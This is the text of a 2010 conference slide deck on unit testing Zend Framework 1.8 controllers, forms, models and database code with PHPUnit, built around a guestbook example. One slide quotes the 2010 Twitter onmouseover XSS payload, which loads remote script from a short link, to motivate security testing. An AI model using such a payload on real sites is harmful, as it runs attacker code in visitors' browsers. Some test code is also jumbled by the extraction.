Zend Framework 1.8 changed internally, making it easier to fully test your controllers, forms, models and datatabase integration with PHPUnit.

1. Unit Testing after ZF 1.8
Michelangelo van Dam
ZendCon 2010, Santa Clara, CA (USA)

2. Michelangelo van Dam
• Independent Consultant
• Zend Certified Engineer (ZCE)
• President of PHPBenelux

3. This session
What has changed with ZF 1.8 ?
How do we set up our environment ?
How are we testing controllers ?
How are we testing forms ?
How are we testing models ?

4. New to unit testing ?

5. phpunit.de
http://www.phpunit.de

6. Matthew Weier O’Phinney
http://www.slideshare.net/weierophinney/testing-zend-framework-applications

7. Giorgio Sironi
http://giorgiosironi.blogspot.com/2009/12/practical-php-testing-is-here.html

8. Zend Framework 1.8

9. Birth of Zend_Application
• bootstrapping an “app”
• works the same for any environment
• resources through methods (no registry)
•- clean separation of tests
unit tests
- controller tests
- integration tests (db, web services, …)

10. Types of tests

11. Unit Testing
•- smallest functional code snippet (unit)
function or class method
•- aims to challenge logic
proving A + B gives C (and not D)
• helpful for refactoring
• essential for bug fixing (is it really a bug ?)
• TDD results in better code
• higher confidence for developers -> managers

12. Controller Testing
•- tests your (ZF) app
is this url linked to this controller ?
•- detects early errors
on front-end (route/page not found)
- on back-end (database changed, service down, …)
• tests passing back and forth of params
• form validation and filtering
• security testing (XSS, SQL injection, …)

13. Database Testing
•- tests the functionality of your database
referred to as “integration testing”
•- checks functionality
CRUD
- stored procedures
- triggers and constraints
• verifies no mystery data changes happen
- UTF-8 in = UTF-8 out

14. Application Testing

15. Setting things up

16. phpunit.xml
<phpunit bootstrap="./TestHelper.php" colors="true">
<testsuite name="Zend Framework Unit Test Demo">
<directory>./</directory>
</testsuite>
<!-- Optional settings for filtering and logging -->
<filter>
<whitelist>
<directory suffix=".php">../library/</directory>
<directory suffix=".php">../application/</directory>
<exclude>
<directory suffix=".phtml">../application/</directory>
</exclude>
</whitelist>
</filter>
<logging>
<log type="coverage-html" target="./log/report" charset="UTF-8"
yui="true" highlight="true" lowUpperBound="50" highLowerBound="80"/>
<log type="testdox-html" target="./log/testdox.html" />
</logging>
</phpunit>

17. TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');
// Include path
set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library'
. PATH_SEPARATOR . get_include_path());
// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');
require_once 'Zend/Application.php';
$application = new Zend_Application(APPLICATION_ENV,
APPLICATION_PATH . '/configs/application.ini');
$application->bootstrap();

18. TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');
// Include path
set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library'
. PATH_SEPARATOR . get_include_path());
// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');
require_once 'Zend/Application.php';
$application = new Zend_Application(APPLICATION_ENV,
APPLICATION_PATH . '/configs/application.ini');
$application->bootstrap();

19. ControllerTestCase.php
<?php
require_once 'Zend/Application.php';
require_once 'Zend/Test/PHPUnit/ControllerTestCase.php';
abstract class ControllerTestCase extends
Zend_Test_PHPUnit_ControllerTestCase
{
protected function setUp()
{
// we override the parent::setUp() to solve an issue regarding not
// finding a default module
}
}

20. Directory Strategy
/application /tests
/configs /application
/controllers /controllers
/forms /forms
/models /models
/modules /modules
/guestbook /guestbook
/apis /apis
/controllers /controllers
/forms /forms
/models /models
/views
/helpers
/filters
/scripts
/views
/helpers
/filters
/scripts
/library
/public
/tests

21. Testing Controllers

22. Homepage testing
<?php
// file: tests/application/controllers/IndexControllerTest.php
require_once TEST_PATH . '/ControllerTestCase.php';
class IndexControllerTest extends ControllerTestCase
{
public function testCanWeDisplayOurHomepage()
{
// go to the main page of the web application
$this->dispatch('/');
// check if we don't end up on an error page
$this->assertNotController('error');
$this->assertNotAction('error');
// ok, no error so let's see if we're at our homepage
$this->assertModule('default');
$this->assertController('index');
$this->assertAction('index');
$this->assertResponseCode(200);
}
}

23. Running the tests

24. testdox.html

25. Code coverage

26. Testing Forms

27. Guestbook form
fullName
emailAddress
website
comment
submit

28. Simple comment form
<?php
class Application_Form_Comment extends Zend_Form
{
public function init()
{
$this->addElement('text', 'fullName', array (
'label' => 'Full name', 'required' => true));
$this->addElement('text', 'emailAddress', array (
'label' => 'E-mail address', 'required' => true));
$this->addElement('text', 'website', array (
'label' => 'Website URL', 'required' => false));
$this->addElement('textarea', 'comment', array (
'label' => 'Your comment', 'required' => false));
$this->addElement('submit', 'send', array (
'Label' => 'Send', 'ignore' => true));
}
}

29. CommentController
<?php
class CommentController extends Zend_Controller_Action
{
protected $_session;
public function init()
{
$this->_session = new Zend_Session_Namespace('comment');
}
public function indexAction()
{
$form = new Application_Form_Comment(array (
'action' => $this->_helper->url('send-comment'),
'method' => 'POST',
));
if (isset ($this->_session->commentForm)) {
$form = unserialize($this->_session->commentForm);
unset ($this->_session->commentForm);
}
$this->view->form = $form;
}
}

30. Comment processing
<?php
class CommentController extends Zend_Controller_Action
{
…
public function sendCommentAction()
{
$request = $this->getRequest();
if (!$request->isPost()) {
return $this->_helper->redirector('index');
}
$form = new Application_Form_Comment();
if (!$form->isValid($request->getPost())) {
$this->_session->commentForm = serialize($form);
return $this->_helper->redirector('index');
}
$values = $form->getValues();
$this->view->values = $values;
}
}

31. Views
<!-- file: application/views/scripts/comment/index.phtml -->
<?php echo $this->form ?>
<!-- file: application/views/scripts/comment/send-comment.phtml -->
<dl>
<?php if (isset ($this->values['website'])): ?>
<dt id="fullName"><a href="<?php echo $this->escape($this->values
['website']) ?>"><?php echo $this->escape($this->values['fullName']) ?></a></
dt>
<?php else: ?>
<dt id="fullName"><?php echo $this->escape($this->values['fullName']) ?></dt>
<?php endif; ?>
<dd id="comment"><?php echo $this->escape($this->values['comment']) ?></dd>
</dl>

32. The Form

33. Comment processed

34. And now… testing

35. Starting simple
<?php
// file: tests/application/controllers/IndexControllerTest.php
require_once TEST_PATH . '/ControllerTestCase.php';
class CommentControllerTest extends ControllerTestCase
{
public function testCanWeDisplayOurForm()
{
// go to the main comment page of the web application
$this->dispatch('/comment');
// check if we don't end up on an error page
$this->assertNotController('error');
$this->assertNotAction('error');
$this->assertModule('default');
$this->assertController('comment');
$this->assertAction('index');
$this->assertResponseCode(200);
$this->assertQueryCount('form', 1);
$this->assertQueryCount('form', 1);
$this->assertQueryCount('input[type="text"]', 2);
}
$this->assertQueryCount('input[type="text"]', 3);
$this->assertQueryCount('textarea', 1);
} $this->assertQueryCount('textarea', 1);

36. GET request = index ?
public function testSubmitFailsWhenNotPost()
{
$this->request->setMethod('get');
$this->dispatch('/comment/send-comment');
$this->assertResponseCode(302);
$this->assertRedirectTo('/comment');
}

37. Can we submit our form ?
public function testCanWeSubmitOurForm()
{
$this->request->setMethod('post')
->setPost(array (
'fullName' => 'Unit Tester',
'emailAddress' => 'test@example.com',
'website' => 'http://www.example.com',
'comment' => 'This is a simple test',
));
$this->dispatch('/comment/send-comment');
$this->assertQueryCount('dt', 1);
$this->assertQueryCount('dd', 1);
$this->assertQueryContentContains('dt#fullName',
'<a href="http://www.example.com">Unit Tester</a>');
$this->assertQueryContentContains('dd#comment', 'This is a simple test');
}

38. All other cases ?
/**
* @dataProvider wrongDataProvider
*/
public function testSubmitFailsWithWrongData($fullName, $emailAddress,
$comment)
{
$this->request->setMethod('post')
->setPost(array (
'fullName' => $fullName,
'emailAddress' => $emailAddress,
'comment' => $comment,
));
$this->dispatch('/comment/send-comment');
$this->assertResponseCode(302);
$this->assertRedirectTo('/comment');
}

39. wrongDataProvider
public function wrongDataProvider()
{
return array (
array ('', '', ''),
array ('~', 'bogus', ''),
array ('', 'test@example.com', 'This is correct text'),
array ('Test User', '', 'This is correct text'),
array ('Test User', 'test@example.com', str_repeat('a', 50001)),
);
}

40. Running the tests

41. Our testdox.html

42. Code Coverage

43. Practical use

44. September 21, 2010

45. CNN reports
http://www.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html

46. The exploit
http://t.co/@”style=”font-size:999999999999px;
”onmouseover=”$.getScript(‘http:u002fu002fis.gd
u002ffl9A7′)”/
http://www.developerzen.com/2010/09/21/write-your-own-twitter-com-xss-exploit/

47. Unit Testing (models)

48. Guestbook Models

49. Testing models
• uses core PHPUnit_Framework_TestCase class
• tests your business logic !
• can run independent from other tests
•- model testing !== database testing
model testing tests the logic in your objects
- database testing tests the data storage

50. Model setUp/tearDown
<?php
require_once 'PHPUnit/Framework/TestCase.php';
class Application_Model_GuestbookTest extends PHPUnit_Framework_TestCase
{
protected $_gb;
protected function setUp()
{
parent::setUp();
$this->_gb = new Application_Model_Guestbook();
}
protected function tearDown()
{
$this->_gb = null;
parent::tearDown();
}
…
}

51. Simple tests
public function testGuestBookIsEmptyAtConstruct()
{
$this->assertType('Application_Model_GuestBook', $this->_gb);
$this->assertFalse($this->_gb->hasEntries());
$this->assertSame(0, count($this->_gb->getEntries()));
$this->assertSame(0, count($this->_gb));
}
public function testGuestbookAddsEntry()
{
$entry = new Application_Model_GuestbookEntry();
$entry->setFullName('Test user')
->setEmailAddress('test@example.com')
->setComment('This is a test');
$this->_gb->addEntry($entry);
$this->assertTrue($this->_gb->hasEntries());
$this->assertSame(1, count($this->_gb));
}

52. GuestbookEntry tests
…
public function gbEntryProvider()
{
return array (
array (array (
'fullName' => 'Test User',
'emailAddress' => 'test@example.com',
'website' => 'http://www.example.com',
'comment' => 'This is a test',
'timestamp' => '2010-01-01 00:00:00',
)),
array (array (
'fullName' => 'Test Manager',
'emailAddress' => 'testmanager@example.com',
'website' => 'http://tests.example.com',
'comment' => 'This is another test',
'timestamp' => '2010-01-01 01:00:00',
)),
);
}
/**
* @dataProvider gbEntryProvider
* @param $data
*/
public function testEntryCanBePopulatedAtConstruct($data)
{
$entry = new Application_Model_GuestbookEntry($data);
$this->assertSame($data, $entry->__toArray());
}
…

53. Running the tests

54. Our textdox.html

55. Code Coverage

56. Database Testing

57. Database Testing
•- integration testing
seeing records are getting updated
- data models behave as expected
- data doesn't change encoding (UTF-8 to Latin1)
• database behaviour testing
- CRUD
- stored procedures
- triggers
- master/slave - cluster
- sharding

58. Caveats
•- database should be reset in a “known state”
no influence from other tests
•- system failures cause the test to fail
connection problems
•- unpredictable data fields or types
auto increment fields
- date fields w/ CURRENT_TIMESTAMP

59. Converting modelTest

60. Model => database
<?php
require_once 'PHPUnit/Framework/TestCase.php';
class Application_Model_GuestbookEntryTest extends PHPUnit_Framework_TestCase
{
…
}
Becomes
<?php
require_once TEST_PATH . '/DatabaseTestCase.php';
class Application_Model_GuestbookEntryTest extends DatabaseTestCase
{
…
}

61. DatabaseTestCase.php
<?php
require_once 'Zend/Application.php';
require_once 'Zend/Test/PHPUnit/DatabaseTestCase.php';
require_once 'PHPUnit/Extensions/Database/DataSet/FlatXmlDataSet.php';
abstract class DatabaseTestCase extends Zend_Test_PHPUnit_DatabaseTestCase
{
private $_dbMock;
private $_application;
protected function setUp()
{
$this->_application = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
$this->bootstrap = array($this, 'appBootstrap');
parent::setUp();
}
…

62. DatabaseTestCase.php (2)
…
public function appBootstrap()
{
$this->application->bootstrap();
}
protected function getConnection()
{
if (null === $this->_dbMock) {
$bootstrap = $this->application->getBootstrap();
$bootstrap->bootstrap('db');
$connection = $bootstrap->getResource('db');
$this->_dbMock = $this->createZendDbConnection($connection,'in2it');
Zend_Db_Table_Abstract::setDefaultAdapter($connection);
}
return $this->_dbMock;
}
protected function getDataSet()
{
return $this->createFlatXMLDataSet(
dirname(__FILE__) . '/_files/initialDataSet.xml');
}
}

63. _files/initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<gbentry id="1"
fullName="Test User"
emailAddress="test@example.com"
website="http://www.example.com"
comment="This is a first test"
timestamp="2010-01-01 00:00:00"/>
<gbentry id="2"
fullName="Obi Wan Kenobi"
emailAddress="obi-wan@jedi-council.com"
website="http://www.jedi-council.com"
comment="May the phporce be with you"
timestamp="2010-01-01 01:00:00"/>
<comment id="1" comment= "Good article, thanks"/>
<comment id="2" comment= "Haha, Obi Wan… liking this very much"/>
…
</dataset>

64. A simple DB test
public function testNewEntryPopulatesDatabase()
{
$data = $this->gbEntryProvider();
foreach ($data as $row) {
$entry = new Application_Model_GuestbookEntry($row[0]);
$entry->save();
unset ($entry);
}
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection()
);
$ds->addTable('gbentry', 'SELECT * FROM gbentry');
$dataSet = $this->createFlatXmlDataSet(
TEST_PATH . "/_files/addedTwoEntries.xml");
$filteredDataSet = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
$dataSet, array('gbentry' => array('id')));
$this->assertDataSetsEqual($filteredDataSet, $ds);
}

65. location of datasets
<approot>/application
/public
/tests
/_files
initialDataSet.xml
readingDataFromSource.xml

66. Running the tests

67. Our textdox.html

68. CodeCoverage

69. Changing records
public function testNewEntryPopulatesDatabase()
{
$data = $this->gbEntryProvider();
foreach ($data as $row) {
$entry = new Application_Model_GuestbookEntry($row[0]);
$entry->save();
unset ($entry);
}
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection()
);
$ds->addTable('gbentry', 'SELECT fullName, emailAddress, website, comment,
timestamp FROM gbentry');
$this->assertDataSetsEqual(
$this->createFlatXmlDataSet(
TEST_PATH . "/_files/addedTwoEntries.xml"),
$ds
);
}

70. Expected resultset
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<gbentry fullName="Test User" emailAddress="test@example.com"
website="http://www.example.com" comment="This is a first test"
timestamp="2010-01-01 00:00:00"/>
<gbentry fullName="Obi Wan Kenobi" emailAddress="obi-wan@jedi-
council.com"
website="http://www.jedi-council.com" comment="May the phporce
be with you"
timestamp="2010-01-01 01:00:00"/>
<gbentry fullName="Test User" emailAddress="test@example.com"
website="http://www.example.com" comment="This is a test"
timestamp="2010-01-01 00:00:00"/>
<gbentry fullName="Test Manager" emailAddress="testmanager@example.com"
website="http://tests.example.com" comment="This is another
test"
timestamp="2010-01-01 01:00:00"/>
</dataset>

71. location of datasets
<approot>/application
/public
/tests
/_files
initialDataSet.xml
readingDataFromSource.xml
addedTwoEntries.xml

72. Running the tests

73. The testdox.html

74. CodeCoverage

75. Testing strategies

76. Desire vs Reality
•- desire
+70% code coverage
- test driven development
- clean separation of tests
•- reality
test what counts first (business logic)
- discover the “unknowns” and test them
- combine unit tests with integration tests

77. Automation
•- using a CI system
continuous running your tests
- reports immediately when failure
- provides extra information
‣ copy/paste detection
‣ mess detection &dependency calculations
‣ lines of code
‣ code coverage
‣ story board and test documentation
‣ …

78. Questions
• http://slideshare.net/DragonBe/unit-testing-after-zf-18
• http://github.com/DragonBe/zfunittest
• http://twitter.com/DragonBe
• http://facebook.com/DragonBe
• http://joind.in/2243

79. http://conference.phpbenelux.eu